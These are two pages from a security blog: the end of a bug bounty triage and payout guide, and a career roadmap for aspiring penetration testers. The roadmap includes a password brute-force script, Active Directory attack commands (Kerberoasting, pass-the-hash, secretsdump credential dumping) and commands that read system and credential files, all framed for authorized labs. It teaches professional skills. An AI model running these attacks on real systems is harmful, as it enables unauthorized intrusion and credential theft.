Understanding the triage pipeline changes how you write reports. When you submit, the report usually lands with a platform triage analyst or the program's own security team. Their first job is to reproduce your finding. If they cannot reproduce it in a few minutes using only what you provided, the report moves to a "need more information" state, and every hour it sits there is an hour a duplicate can be filed by someone else.
Once reproduced, the report gets a state and a severity. Common states include triaged (accepted, awaiting a fix), duplicate (someone reported it first), informational (real but not rewarded), and not applicable (out of scope or not a security issue). Severity is usually assigned with CVSS or the program's own rating. This is where an overstated severity costs you. If you claim critical and the triager downgrades it to medium, you have spent credibility for nothing.
Payment timing varies. Some programs pay on triage, before the fix ships. Others pay on resolution, after their engineers deploy a patch, which can take weeks or months. A program's median time-to-bounty statistic, shown on its page, tells you how long your capital will sit locked up. This is a real cost for full-time hunters and a reason to weight fast-paying programs when you depend on the income.
Duplicates are the most demoralizing outcome and the least avoidable. If two researchers find the same bug, the first valid submission wins and the second earns nothing, regardless of report quality. This is why speed on a freshly launched or freshly expanded scope matters, and why hunting a well-worn target with commodity tools is a losing strategy. Any bug a public template finds has almost certainly been found already.
Keep a personal log of every submission with the program, the vulnerability class, the outcome, and the payout. After thirty submissions the log reveals your real signal ratio and which classes actually pay you, which is far more useful than any generic advice about what pays well across the industry.
## Detection Signals a Program Is Worth Your Time
Before committing recon hours, read these signals off the program page. A published payout table that covers P3 and P4 findings, rather than P1 and P2 alone, shows the program values medium and low severities. A median time-to-first-response under a few days means less locked capital and lower duplicate risk. Recent scope additions or a recently raised bounty table point to un-audited surface. A high ratio of resolved reports to submitted reports shows the team acts on findings. Disclosed reports you can read give you free intelligence on what the program accepts and how it rates severity.
The inverse signals warn you off. Two years live with zero bounties paid, everything marked out of scope except one login page, or a response window measured in months. Each of these turns your time into dead capital. Spending an hour reading the program page before you start saves days of misdirected effort.
## Frequently Asked Questions
**Do I need a formal computer science degree to earn bounties?**
No. Programs pay for valid findings regardless of credentials. What you need is demonstrable skill in a vulnerability class and the discipline to write a reproducible report. Many consistent earners are self-taught. A degree helps for salaried application security roles, less so for independent bounty income.
**Is it legal to run recon tools against a company that has no program?**
Treat the absence of a program as a no. Scanning, brute-forcing, or fuzzing a target without authorization can violate the Computer Fraud and Abuse Act in the United States, the Computer Misuse Act in the United Kingdom, and similar laws elsewhere. Safe harbor exists only inside a published program scope. If a company has a security.txt file or a vulnerability disclosure policy, follow it exactly.
**How do I reduce the number of duplicates I submit?**
Target fresh scope, read disclosed reports to see what has already been found, and go deeper than the surface findings a scanner produces. A bug that required understanding the application's data model is far less likely to collide than a missing security header that a template flags on every host.
**Why was my valid bug marked informational?**
Informational usually means the finding is real but carries no demonstrated security impact the program is willing to pay for. Missing security headers, verbose version banners, and self-XSS are the classic examples. The remedy is to either demonstrate concrete impact or move on to classes that carry weight.
**Should I use automated scanners or hunt manually?**
Both, in sequence. Run scanners to inventory the attack surface and catch commodity issues quickly, then spend your hours on the manual analysis that scanners cannot do: access control logic, business rules, and chained vulnerabilities. The money is in the manual work because that is the work most people skip.
**How long before I make my first valid submission?**
Plan for twenty to forty hours of focused work before your first accepted finding, and three to six months before income is meaningful. The researchers who quit almost always quit in the first month, before the learning compounds.
**Can I do bug bounty part-time alongside a job?**
Yes, and most people start that way. Part-time hunting rewards a narrow focus. Pick one program and one vulnerability class, run a scheduled recon pipeline, and check for new surface weekly. Depth on a single target beats shallow sweeps across many.
## Related guides
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [OSINT Reconnaissance](/osint-reconnaissance-guide)
- [SQL Injection Explained](/sql-injection-explained)
- [Cross-Site Scripting (XSS)](/xss-attacks-explained)
- [How to Become an Ethical Hacker](/how-to-become-ethical-hacker)
### Sources
- HackerOne Hacker101 (HackerOne): https://www.hackerone.com/hackers/hacker101
- OWASP Testing Guide (OWASP): https://owasp.org/www-project-web-security-testing-guide/
- CVSS v3.1 Specification (FIRST): https://www.first.org/cvss/v3.1/specification-document
---
## How to Become an Ethical Hacker: The Complete Roadmap
> Ethical hacking is one of the highest-demand careers in tech. Here's the realistic path from zero to your first pentesting job.
- URL: https://blog.pwnsy.com/how-to-become-ethical-hacker
- Date: 2026-03-11
- Updated: 2026-04-08
- Difficulty: beginner
- Category: bug-bounty
- Tags: ethical-hacking, penetration-testing, career, certifications, bug-bounty
- Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [The Bug Bounty Economy: Platforms, Triage & Payouts](https://blog.pwnsy.com/bug-bounty-economy-explained), [Coordinated Vulnerability Disclosure: From Finding to Fix](https://blog.pwnsy.com/coordinated-vulnerability-disclosure-explained)
### TL;DR
- Build networking, Linux, and Python fundamentals before touching offensive tools, skipping foundations is why most beginners fail.
- Practice legally on purpose-built labs: Hack The Box, TryHackMe, and your own VMs; never test systems you don't own.
- OSCP is the industry-standard entry certification for penetration testing jobs; CEH is not respected by practitioners.
- Bug bounty programs (HackerOne, Bugcrowd) provide legal, real-world targets and income while building a portfolio.
### Key Takeaways
- All penetration testing requires written authorization; a Statement of Work or Rules of Engagement is what separates ethical hacking from criminal activity.
- Networking, Linux command-line proficiency, and Python scripting are non-negotiable prerequisites before learning offensive techniques.
- Active Directory attacks (Kerberoasting, BloodHound, Pass-the-Hash) are central to most enterprise penetration tests.
- OSCP from Offensive Security is the most respected entry-level certification because it requires passing a 24-hour hands-on exam.
- Red teaming is senior-level work (5+ years) that simulates full adversarial campaigns against people, processes, and technology.
The global cybersecurity workforce gap sits at approximately 4 million unfilled positions as of 2025. Penetration testing specifically is among the most undersupplied roles, companies can't find people with the hands-on skills. Job listings sit open for months. The supply/demand dynamics are brutal in your favor if you can actually do the work.
The problem is that most people trying to break into the field do it wrong. They stack certifications without building skills. They watch YouTube tutorials without practicing. They skip foundational networking and operating system concepts and then wonder why they can't follow along in a real engagement. Six months later they've spent $5,000 on courses and certifications and can't enumerate a basic Active Directory environment.
This guide is the roadmap that actually works. It's built around building skills in the correct order, validated against real job requirements and the experiences of people who've made the transition.
Assembling your pentesting toolkit? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com).
## What Ethical Hacking Actually Involves
Ethical hacking (the professional term is penetration testing or red teaming), is the authorized simulation of attacks against computer systems, networks, or applications to identify vulnerabilities before malicious actors do.
The legal distinction from criminal hacking is a written contract. A penetration tester operates under a Statement of Work or Rules of Engagement document that defines: which systems can be tested, what attack techniques are permitted, what the deliverable is, and the timeline. Outside those boundaries, the activity is criminal regardless of intent. The authorization is everything.
### Day-to-Day Reality
**Web application pentesting:** You receive scope (a set of URLs or wildcard domains), enumerate the attack surface, identify vulnerabilities (injection flaws, broken access control, authentication bypasses, business logic issues), exploit them to demonstrate impact, and write a professional report. The report is delivered to the client's development team and security leadership. The technical work and the writing are equally important.
**Infrastructure/network pentesting:** You receive an IP range or a set of credentials for a "assume breach" internal assessment. You scan, identify running services, look for known vulnerabilities, exploit misconfigurations, demonstrate lateral movement through the network, and attempt to reach defined objectives (domain controller, specific databases, sensitive file shares).
**Active Directory assessments:** A significant portion of enterprise pentesting involves attacking Windows domain environments. This means Kerberoasting, Pass-the-Hash, AS-REP Roasting, BloodHound enumeration, abusing LAPS misconfigurations, delegation attacks, and ultimately Domain Compromise. AD security is a specialty within the specialty.
**Red teaming:** Full adversarial simulation against an organization's people (phishing), processes (security monitoring), and technology (network and endpoint controls). Red team operations run for weeks or months, use real-world attacker tradecraft, and test whether the security team can detect and respond to a sophisticated intrusion. This is senior-level work requiring 5+ years of experience.
**What the job is not:** Sitting at a terminal watching code run. Hacking into random systems. Producing a Nessus scan report and calling it a pentest. Real penetration testing is intellectually demanding, requires significant preparation for each engagement, and demands strong communication skills: you're explaining technical vulnerabilities to both technical and executive audiences.
---
## The Technical Foundation: What You Actually Need
### Networking: Non-Negotiable
You cannot attack what you don't understand. Networking is the substrate everything else runs on. Without it, you can run tools but you can't understand or troubleshoot what they're doing.
**Topics you must know well:**
- TCP/IP model, how packets are assembled, routed, and delivered
- The three-way handshake (SYN, SYN-ACK, ACK) and what deviations from it indicate
- UDP vs TCP, when each is used, what services run on which
- DNS, recursive resolution, DNS zones, zone transfers, how subdomain enumeration works
- HTTP/1.1 and HTTP/2, request structure, headers, cookies, the request-response cycle, TLS handshake
- SMB, FTP, SSH, SMTP, LDAP, what they do, how they're configured, common misconfigurations
- Subnetting and CIDR notation, understanding that 192.168.1.0/24 represents 254 usable hosts is basic; being able to subnet on paper matters for understanding network architecture
- NAT, VLANs, firewalls, how network segmentation is implemented and why it matters for lateral movement
**How to build it:** Cisco's free CCNA learning materials, Professor Messer's CompTIA Network+ course (free on YouTube), and critically, Wireshark. Capture traffic on your home network. Understand what a DNS query looks like, what a TCP handshake looks like, what TLS negotiation looks like. Seeing protocols in packet form is worth more than reading about them.
```bash
# Capture and analyze traffic in Wireshark
# Or with tshark from the command line:
# Capture all traffic on eth0
tshark -i eth0 -w capture.pcap
# Analyze DNS queries in a capture
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name
# Analyze HTTP traffic
tshark -r capture.pcap -Y "http" -T fields -e http.request.method -e http.request.uri
# Filter for a specific IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.100"
# Follow a TCP stream (reassemble the conversation)
tshark -r capture.pcap -q -z follow,tcp,ascii,0
```
### Linux Command Line: Intermediate to Advanced
Kali Linux is the standard pentesting distribution. It runs on Linux. Every tool you'll use runs on Linux or has a Linux version. Being uncomfortable at the terminal means being slow, frustrated, and ineffective.
You need to reach the level where you never have to think about basic operations, file navigation, permissions, process management, networking commands, text processing. They should be reflex.
```bash
# Core competencies to develop:
# File operations
ls -la /var/log/ # list with permissions, hidden files
find / -name "*.conf" -readable 2>/dev/null # find readable config files
chmod 755 script.sh # set file permissions
chown root:root file # change ownership
# Network
ip addr show # network interfaces and IPs
ss -tulnp # open sockets (replaces netstat)
nmap -sV -sC localhost # scan your own machine to learn output format
curl -v https://example.com # HTTP request with verbose output
wget -q https://example.com/file # download file
# Text processing (critical for parsing tool output)
cat /etc/passwd | cut -d: -f1 # extract usernames
grep -r "password" /var/log/ 2>/dev/null # search files recursively
cat hosts.txt | sort -u # sort and deduplicate
cat nmap_output.txt | awk '/open/{print $1}' # extract open ports
# Process management
ps aux | grep python # find python processes
kill -9 PID # force kill a process
./exploit.py & # run in background
nohup ./scan.sh > output.log 2>&1 & # run disconnected from terminal
```
**Setup your learning environment:**
```bash
# Install VirtualBox and create a Kali Linux VM
# Download Kali Linux from kali.org (official pre-built VMs available)
# Allocate: 4GB RAM minimum, 8GB recommended; 60GB disk; 2 CPU cores
# Or use WSL2 on Windows for a lighter setup:
wsl --install -d kali-linux
# Install essential tools
sudo apt update && sudo apt install -y \
nmap nikto gobuster ffuf sqlmap \
python3-pip git curl wget john hashcat \
burpsuite wireshark netcat-openbsd \
metasploit-framework
```
### Python: The Exploitation Language
You don't need to be a software engineer. You need to be able to read Python code, understand what it does, modify it to fit your target, and write simple scripts to automate tasks.
**Specifically:**
- Understanding function calls, loops, conditionals, and list/dict operations
- Reading network socket code: many exploits open raw TCP connections
- Making HTTP requests with the `requests` library
- Parsing JSON and XML responses
- Writing a script that loops through a wordlist and makes requests
- Modifying a public PoC exploit to fix a hardcoded IP or add error handling
```python
# Example: simple brute-force HTTP login (educational - use only on authorized targets)
import requests
import sys
TARGET = "http://vulnerable-target.local/login"
USERNAME = "admin"
WORDLIST = "/usr/share/wordlists/rockyou.txt"
session = requests.Session()
with open(WORDLIST, 'r', encoding='latin-1') as f:
for password in f:
password = password.strip()
response = session.post(TARGET, data={
'username': USERNAME,
'password': password,
}, timeout=5)
if 'Invalid credentials' not in response.text and response.status_code == 200:
print(f"[+] Found password: {password}")
sys.exit(0)
else:
print(f"[-] Trying: {password}", end='\r')
print("\n[-] Password not found in wordlist")
```
```python
# Example: port scanner using raw sockets
import socket
import sys
import concurrent.futures
def scan_port(host: str, port: int) -> tuple[int, bool]:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
result = sock.connect_ex((host, port))
sock.close()
return port, result == 0
def scan_host(host: str, port_range: range):
open_ports = []
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
futures = {executor.submit(scan_port, host, port): port for port in port_range}
for future in concurrent.futures.as_completed(futures):
port, is_open = future.result()
if is_open:
open_ports.append(port)
print(f"[+] {host}:{port} OPEN")
return sorted(open_ports)
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
scan_host(target, range(1, 10001))
```
### PowerShell: For Windows Environments
Enterprise environments are overwhelmingly Windows-based. Active Directory, Windows Server, Windows workstations. PowerShell is the dominant scripting language in Windows environments and the primary tool for living-off-the-land techniques.
```powershell
# Basic AD enumeration (run on a domain-joined Windows machine)
# Get all users in the domain
Get-ADUser -Filter * -Properties * | Select-Object Name, Enabled, LastLogonDate, PasswordLastSet
# Get members of the Domain Admins group
Get-ADGroupMember -Identity "Domain Admins" -Recursive
# Find computers with unconstrained delegation (Kerberoasting prerequisite)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# Enumerate SPNs for Kerberoasting
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Port scan using only built-in PowerShell (no tools)
1..1024 | ForEach-Object {
$tcp = [System.Net.Sockets.TcpClient]::new()
$result = $tcp.BeginConnect('192.168.1.1', $_, $null, $null)
if ($result.AsyncWaitHandle.WaitOne(100)) {
Write-Host "Port $_ is open"
}
$tcp.Close()
}
```
---
## The Learning Platforms
### TryHackMe: Start Here
TryHackMe is the correct starting point for beginners. It's browser-based (no local VM setup required initially), guided, and structured from beginner to advanced. The "Jr Penetration Tester" learning path is specifically designed as a curriculum to get someone job-ready in web and network pentesting fundamentals.
**Recommended TryHackMe paths in order:**
1. **Pre-Security**, networking, web fundamentals, Linux basics
2. **Jr Penetration Tester**, web pentesting, Metasploit, privilege escalation, Active Directory basics
3. **Red Teaming**, phishing, C2 frameworks, host evasion
Complete rooms, not just subscribe. The rooms that require you to actually exploit the machine are the learning. Watching the videos without doing the lab is watching someone else learn.
### Hack The Box: The Real Test
HTB is where you find out if you've actually internalized the concepts. The machines are significantly less guided than TryHackMe. You get a target IP and have to figure out the rest.
**Starting methodology:**
```bash
# Standard initial enumeration on any HTB machine
# 1. Nmap scan
nmap -sC -sV -oA initial_scan -p- --min-rate 5000 TARGET_IP
# -sC: default scripts (version detection, basic vuln checks)
# -sV: version detection
# -oA: save in all formats
# -p-: all 65535 ports
# --min-rate 5000: faster scan (acceptable on CTF environments)
# 2. Web enumeration (if HTTP found)
gobuster dir -u http://TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-u http://TARGET_IP/FUZZ -mc 200,301,302,403 -t 40
# 3. Service enumeration
# SMB
smbclient -L //TARGET_IP -N
enum4linux-ng TARGET_IP
# FTP (check anonymous login)
ftp TARGET_IP # try anonymous / anonymous
# SMTP
nc TARGET_IP 25
VRFY admin # check if user enumeration is possible
```
Work through retired Easy machines on HTB. The official writeups aren't available, but community writeups (IppSec's YouTube channel is the gold standard) are posted after machines retire. **Watch the writeup only after you've spent at least 3 hours trying to solve it yourself.** The struggle is the learning.
### PortSwigger Web Security Academy
For web application testing specifically, the PortSwigger Web Security Academy is the definitive free resource. It covers every major web vulnerability class with labs you can complete in-browser, from beginner to advanced.
**The learning path that maps directly to bug bounty and web pentest work:**
1. SQL Injection (all labs)
2. Authentication (all labs), especially password reset flaws and MFA bypass
3. XSS (all labs), reflected, stored, DOM-based
4. CSRF
5. Clickjacking
6. Path Traversal
7. Command Injection
8. Business Logic Vulnerabilities
9. Access Control (IDOR and privilege escalation)
10. SSRF
11. XXE Injection
12. OAuth Authentication
Complete the "Professional Labs" (the hardest difficulty) before claiming you're web application pentest ready.
### VulnHub and Other Practice Environments
```bash
# Other intentionally vulnerable systems for practice:
# DVWA (Damn Vulnerable Web Application) — beginner web app testing
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Metasploitable 2/3 — intentionally vulnerable Linux VM
# Download from SourceForge, run in VirtualBox
# OWASP WebGoat — guided web vulnerability training
docker run -p 8080:8080 webgoat/goatandwolf:latest
# Vulhub — thousands of vulnerable Docker environments for specific CVEs
git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-052
docker-compose up -d
# Now test CVE-2017-9805 against a real vulnerable Struts2 instance
```
---
## Certifications: What Actually Matters
The certification landscape is full of expensive, multiple-choice-heavy credentials that look impressive on paper but prove nothing about hands-on ability. Technical hiring managers at serious security firms know the difference. For a wider breakdown of which credentials and training platforms are worth your money, see our guide to the [best cybersecurity certifications & courses](/best-cybersecurity-certifications).
### The Ones That Matter
**OSCP (Offensive Security Certified Professional)**: the industry benchmark. The exam is 24 hours: you receive access to an isolated lab network containing machines you must compromise. You earn points for each machine you pwn, and you must earn 70 points to pass. There is no multiple-choice component. The exam is pass/fail based entirely on demonstrated exploitation skill. The accompanying PWK (Penetration Testing with Kali Linux) course is comprehensive and the lab environment is realistic.
Cost (as of 2025): approximately $1,499 for the exam + 90 days of lab access. Preparation time: 3-6 months of dedicated practice after reaching HTB/THM intermediate level.
OSCP is the single certification that most reliably opens doors at reputable security consulting firms. It signals that you can actually hack things, not just pass multiple-choice tests.
**PNPT (Practical Network Penetration Tester)**, TCM Security's practical certification. Less prestigious than OSCP but more accessible, cheaper ($400), and practically focused. The exam is a 5-day black-box network assessment followed by a professional report. Strong preparation for OSCP.
**eJPT (eLearnSecurity Junior Penetration Tester)**: a good entry-level practical credential. $200, requires demonstrating actual assessment skills in a simulated environment. Worth getting before OSCP as a confidence check.
**BSCP (Burp Suite Certified Practitioner)**, PortSwigger's web application pentesting certification. Requires passing two lab-based web security challenges. Highly relevant for web app pentesting specialists. $99.
### Certifications With Limited Value for Security Firms
**CEH (Certified Ethical Hacker)**, primarily multiple-choice. EC-Council markets it aggressively. It proves you can memorize definitions, not that you can pentest. Many government and enterprise job listings require it for compliance reasons, not because it proves skill. If a job you want lists it as a requirement, get it. Otherwise, spend the money and time on OSCP prep.
**CompTIA Security+**, entry-level, required for many government and DoD contractor positions (it satisfies DoD 8570 requirements). Low technical bar but a mandatory checkbox for certain hiring contexts. If you're targeting government/defense work, get it. For commercial security firms, it's not what they're looking at.
**CompTIA PenTest+**, better than Security+ for hands-on orientation, but still not as respected as OSCP or PNPT in commercial security.
### Certification Cost Comparison
| Certification | Cost (2025) | Exam Format | Industry Respect | Best For |
|---|---|---|---|---|
| OSCP | ~$1,499 | 24-hr practical | Very High | Commercial pentest firms |
| PNPT | ~$400 | 5-day practical | High | Beginners, OSCP prep |
| BSCP | ~$99 | Lab practical | High (web) | Web app specialists |
| eJPT | ~$200 | Lab practical | Medium | Entry-level |
| OSEP | ~$1,499 | 48-hr practical | Very High | Red team/evasion |
| CEH | ~$1,000+ | Multiple choice | Low-Medium | Government compliance only |
| Security+ | ~$370 | Multiple choice | Low-Medium | DoD/government work |
---
## Active Directory Attack Techniques
AD is the backbone of most enterprise environments and the primary target in network pentesting. Learn these before applying to most pentesting positions.
```bash
# BloodHound — graph-based AD attack path finder
# Run the collector on a domain-joined machine:
./SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Or from Linux with a low-privilege domain account:
bloodhound-python -u user -p password -ns 192.168.1.10 -d domain.local -c All
# Import collected data into BloodHound GUI
# Look for: shortest path to Domain Admins, Kerberoastable accounts, unconstrained delegation
# Kerberoasting — request service tickets for accounts with SPNs, crack them offline
GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt
# Crack the tickets:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
# AS-REP Roasting — for accounts with pre-auth disabled
GetNPUsers.py domain.local/ -usersfile userlist.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
# Pass-the-Hash — authenticate using NTLM hash instead of password
# (requires obtaining the hash first via Mimikatz or secretsdump)
evil-winrm -i 192.168.1.10 -u Administrator -H "NTLM_HASH_HERE"
# secretsdump — extract credentials from domain controller
secretsdump.py domain.local/Administrator:password@192.168.1.10
# CrackMapExec — network authentication testing and lateral movement
crackmapexec smb 192.168.1.0/24 -u administrator -H "NTLM_HASH"
crackmapexec smb 192.168.1.0/24 -u administrator -p password --shares
```
These techniques are for authorized penetration testing only. Running Kerberoasting, Pass-the-Hash, or BloodHound against a network you don't own or have written permission to assess is a federal crime in the US and equivalent in most other jurisdictions. Practice exclusively in your own lab or on authorized platforms like HTB/THM.
---
## Building a Home Lab
Practical skills require practice environments. Setting up a home lab removes your dependence on external platforms and lets you experiment with techniques that are too intrusive for cloud-based labs.
```bash
# Minimum home lab setup:
# - Hypervisor: VMware Workstation Pro (free tier available) or VirtualBox (free)
# - Attacking machine: Kali Linux
# - Target Windows: Windows Server 2019/2022 evaluation (free from Microsoft)
# - Target Linux: Metasploitable 3 (intentionally vulnerable)
# - Network: Host-only network adapter in the hypervisor
# Hardware requirements:
# - 16GB RAM minimum (8GB for host, 4GB each for two VMs simultaneously)
# - 200GB free disk space
# - CPU with virtualization support (Intel VT-x or AMD-V)
# Set up an Active Directory lab:
# 1. Install Windows Server 2022 VM (download evaluation ISO from Microsoft)
# 2. Install Active Directory Domain Services role
# 3. Promote to domain controller
# 4. Add 2-3 Windows 10/11 evaluation VMs as domain-joined workstations
# 5. Create vulnerable users: disable Kerberos pre-auth for some accounts,
# assign SPNs to service accounts, add admin accounts with common passwords
# 6. Install BloodHound on the Kali VM, run SharpHound on the DC
# 7. Practice the entire AD attack path: initial compromise → BloodHound → Kerberoast → lateral movement → DC compromise
```
```powershell
# Quick AD lab setup script (run on Windows Server after promoting to DC)
# Creates intentionally vulnerable users for practice
# Create a user vulnerable to AS-REP Roasting
New-ADUser -Name "ServiceAccount" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity "ServiceAccount" -DoesNotRequirePreAuth $true
# Create a user with an SPN (Kerberoasting target)
New-ADUser -Name "SQLService" -AccountPassword (ConvertTo-SecureString "MysecretPassw0rd" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "SQLService" -ServicePrincipalNames @{Add="MSSQLSvc/SQL01.domain.local:1433"}
# Create a domain admin with a weak password (never do this in production)
New-ADUser -Name "BackupAdmin" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "BackupAdmin"
```
---
## Salary Reality: 2026 Market
These ranges are from actual job postings and industry salary surveys as of early 2026:
**Junior Penetration Tester (0-2 years)**
- Security consulting boutiques: $65,000 - $85,000
- Big 4 advisory (cybersecurity practice): $75,000 - $95,000
- In-house security teams at tech companies: $90,000 - $115,000
- Government/defense contractors with clearance: $85,000 - $110,000
**Mid-level (2-5 years, OSCP required by most listings)**
- $95,000 - $145,000 depending on specialization and geography
- Remote roles from smaller firms: $90,000 - $130,000
**Senior/Lead Pentester (5+ years)**
- $130,000 - $185,000 employed
- Independent consulting: $150-$350/hour (requires client acquisition skills)
**Specialization premiums (above base senior rates):**
- Red team operator: $15,000-$30,000 premium
- Cloud security (AWS/Azure/GCP pentesting): $20,000-$40,000 premium
- ICS/SCADA/OT security: $20,000-$45,000 premium
- Hardware/embedded systems: $20,000-$50,000 premium
Remote work is near-universal in this field. Many firms are fully remote. This expands the talent market nationally rather than locally, which benefits candidates willing to compete on skill rather than geography.
---
## The Mistakes That Kill Careers Before They Start
**Getting OSCP (or any certification) before building foundational skills.** The PWK course is tough. Going into it without solid networking, Linux, and scripting skills results in failure, discouragement, and wasted money. OSCP prep should begin after completing HTB Easy machines consistently and TryHackMe's Jr Pentester path.
**Certification stacking as a substitute for skill.** A resume with OSCP, CEH, Security+, PNPT, CompTIA CySA+, and zero labs completed will lose to a resume with just OSCP and a GitHub profile showing active CTF participation. Hiring managers at quality firms test candidates. The certifications get you through HR screening; the interview reveals whether you can actually do the work.
**Skipping report writing practice.** The deliverable in commercial pentesting is the report. If you can't communicate your findings clearly, in writing, to both technical and executive audiences, you cannot do the job. Write reports for every machine you compromise in your lab. Treat them like real client deliverables.
**Not building a portfolio.** CTF writeups published on a personal blog, HTB/THM profile links, a GitHub with custom scripts or automation tools, bug bounty acknowledgments: these differentiate candidates. A hiring manager scrolling through your GitHub profile tells them more than a 60-minute interview.
**Testing without understanding.** Running Metasploit against a machine and getting a shell teaches you that Metasploit works. It doesn't teach you why the exploit works, what vulnerability it's exploiting, or what you'd do if the exploit didn't work. When you successfully exploit something, stop and understand the mechanism before moving on.
---
## Where to Start Right Now
If you're starting from zero, execute this in order: no shortcuts:
**Week 1:** Create TryHackMe account. Start the "Pre-Security" path. Complete every room. Set up VirtualBox and a Kali Linux VM this week.
**Week 2-4:** Complete TryHackMe "Jr Penetration Tester" path. Take notes on every vulnerability class covered. Set up DVWA locally and test each vulnerability type against a real-but-safe target.
**Month 2-3:** Create a Hack The Box account. Start with Starting Point machines. Move to Easy retired machines. Watch IppSec's walkthroughs only after spending 3+ hours on each machine yourself. Complete PortSwigger Web Security Academy SQL injection and XSS modules.
**Month 3-6:** Build your home AD lab. Practice the AD attack path from BloodHound through Domain Compromise. Obtain eJPT. Continue HTB, targeting Medium machines.
**Month 6-12:** Prepare for OSCP. Purchase the PWK course. Complete all course material and lab exercises. Build your exam-day methodology. Attempt OSCP.
**Month 12+:** Apply to junior pentesting positions with OSCP in hand and a body of work (HTB/THM profiles, CTF writeups, bug bounty acknowledgments). Be prepared to demonstrate skills in technical interviews.
The path is 12-18 months of focused work before you're employable at entry level. That's the realistic timeline. Anyone selling you a faster path is selling you something that doesn't produce the actual skills the job requires.
The people who successfully make this transition are disciplined, patient, and relentlessly practical. They spend more time doing than watching. They track their progress and fill gaps methodically. They treat it like training for a professional sport, not like watching educational content.
Start now. Don't wait until you feel ready: you never will.
## How the Pentesting Field Matured
Offensive security was once an informal craft. In the 1990s and early 2000s, the people doing this work were largely self-taught, learning from mailing lists, IRC channels, and the source code of the exploits they traded. There was no standard certification, no agreed methodology, and little separation between researchers who disclosed responsibly and those who did not. Companies that wanted a security test often hired whoever had a reputation, and the deliverable varied wildly.
Three developments professionalized the field. Structured methodologies arrived, with the OWASP Testing Guide, the Penetration Testing Execution Standard, and the MITRE ATT&CK framework giving practitioners a shared vocabulary and a repeatable process. Practical certifications, led by OSCP, created a credential that actually correlated with hands-on ability rather than memorization. And bug bounty platforms opened a legal, paid path for newcomers to build a track record on real targets without a consulting job. The result is a field with clear entry points and a recognized skills ladder, which is why a disciplined beginner can now plan a route from zero to employable in a way that was not possible two decades ago.
## Specializations Compared
Penetration testing is not one job. As you gain experience, you tend to specialize, and the specializations differ in demand, learning curve, and pay premium. The table below sketches the common tracks.
| Specialization | Core skills | Learning curve | Demand |
|---|---|---|---|
| Web application | HTTP, injection, access control, auth flows | Moderate | Very high |
| Internal network / Active Directory | Windows, Kerberos, lateral movement | Steep | High |
| Cloud (AWS, Azure, GCP) | IAM, metadata attacks, misconfiguration | Moderate to steep | Rising fast |
| Mobile (iOS, Android) | App internals, API testing, reversing | Steep | Moderate |
| Red team operations | Evasion, C2, social engineering | Very steep | Senior only |
| Hardware and embedded | Firmware, bus protocols, physical access | Very steep | Niche, high pay |
Most people start in web application testing because the learning resources are the strongest and the practice targets are free and plentiful. Active Directory and cloud are the two tracks where enterprise demand is heaviest, so adding one of them to a web foundation makes you broadly employable. Red team and hardware work are senior destinations that reward years of prior experience rather than a starting point.
## Reading an Engagement: The Phases of a Pentest
Knowing the shape of a real engagement helps you practice the right things. Every professional test moves through recognizable phases. Scoping and authorization come first, where the client and tester agree in writing which systems are in scope, which techniques are permitted, and what the objectives are. Skipping this step is what separates a legal test from a crime, so it is never optional.
Reconnaissance and enumeration follow, mapping the attack surface and identifying running services, versions, and likely weak points. Exploitation comes next, where the tester turns a suspected weakness into demonstrated access, always stopping at proof rather than causing damage. Post-exploitation explores what that access unlocks: lateral movement, privilege escalation, and reaching the objectives defined in scope. The final phase, and the one beginners most often neglect, is reporting. The client pays for a document that explains each finding, its impact, the steps to reproduce it, and a concrete remediation. A tester who can compromise a network but cannot write a clear report is only half qualified, which is why practicing report writing on every lab machine matters as much as the exploitation itself.
## Frequently Asked Questions
**Can I get a pentesting job without a degree?**
Yes. This is one of the more credential-flexible technical fields, and hiring managers at quality firms weigh demonstrated skill heavily. A strong OSCP, a visible body of work such as lab profiles and writeups, and the ability to perform in a technical interview outweigh the absence of a degree for most consulting roles. A degree still helps for some corporate and government positions with fixed requirements.
**How long does it realistically take to become employable?**
Plan for twelve to eighteen months of focused, hands-on work from a standing start. That covers building networking, Linux, and scripting foundations, working through guided and unguided lab platforms, building a home lab for Active Directory practice, and earning a respected practical certification. Anyone promising a faster path is usually selling a shortcut that skips the skills the job requires.
**Is ethical hacking legal?**
It is legal only with written authorization for the specific systems being tested. A Statement of Work or Rules of Engagement document defines the boundary, and any activity outside that boundary is a crime regardless of intent. Practice must happen on systems you own or on platforms that grant explicit permission, such as Hack The Box, TryHackMe, and formal bug bounty programs.
**Do I need to be good at programming?**
You need to read code fluently, modify existing scripts to fit a target, and write simple automation. You do not need to be a professional software engineer. Comfort with Python covers most exploitation and tooling needs, and PowerShell becomes important once you work in Windows and Active Directory environments.
**Which certification should I get first?**
Start with an accessible practical credential such as eJPT or PNPT to confirm your foundations, then target OSCP as the certification that most reliably opens doors at commercial security firms. Multiple-choice certifications like CEH carry weight mainly where a job posting or government contract requires them, so pursue those only when a specific role demands it.
